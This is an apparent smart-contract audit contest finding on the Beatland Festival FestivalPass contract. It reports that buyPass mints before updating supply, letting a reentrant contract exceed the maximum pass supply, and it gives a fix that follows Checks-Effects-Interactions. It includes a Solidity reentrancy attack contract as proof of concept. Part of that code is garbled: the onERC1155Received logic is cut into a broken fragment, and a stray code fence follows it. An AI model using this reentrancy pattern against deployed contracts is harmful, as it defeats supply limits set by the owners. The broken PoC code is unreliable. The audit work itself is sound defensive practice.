Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

Function FestivalPass:buyPass Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

Description

  • Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior.

  • The function FestivalPass:buyPass does not follow the Checks-Effects-Interactions pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit.

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
@> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy?
++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood:

  • If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the _mint function.

Impact:

  • Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction.

Proof of Concept

//SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "../src/FestivalPass.sol";
import "./FestivalPass.t.sol";
import {console} from "forge-std/Test.sol";
contract AttackBuyPass{
address immutable onlyOnwer;
FestivalPassTest immutable festivalPassTest;
FestivalPass immutable festivalPass;
uint256 immutable collectionId;
uint256 immutable configPassPrice;
uint256 immutable configPassMaxSupply;
uint256 hackMintCount = 0;
constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable {
onlyOnwer = msg.sender;
festivalPassTest = _festivalPassTest;
festivalPass = _festivalPass;
collectionId = _collectionId;
configPassPrice = _configPassPrice;
configPassMaxSupply = _configPassMaxSupply;
hackMintCount = 1;
}
receive() external payable {}
fallback() external payable {}
function DoAttackBuyPass() public {
require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer");
// This attack can only bypass the "maximum supply" restriction.
festivalPass.buyPass{value: configPassPrice}(collectionId);
}
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4){
if (hackMintCount festivalPass.passMaxSupply(targetPassId));
}
}
```

Recommended Mitigation

  • Refactor the function FestivalPass:buyPass to follow the Checks-Effects-Interactions principle.

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
- _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
+ emit PassPurchased(msg.sender, collectionId);
+ _mint(msg.sender, collectionId, 1, "");
// VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
- emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 25 days ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.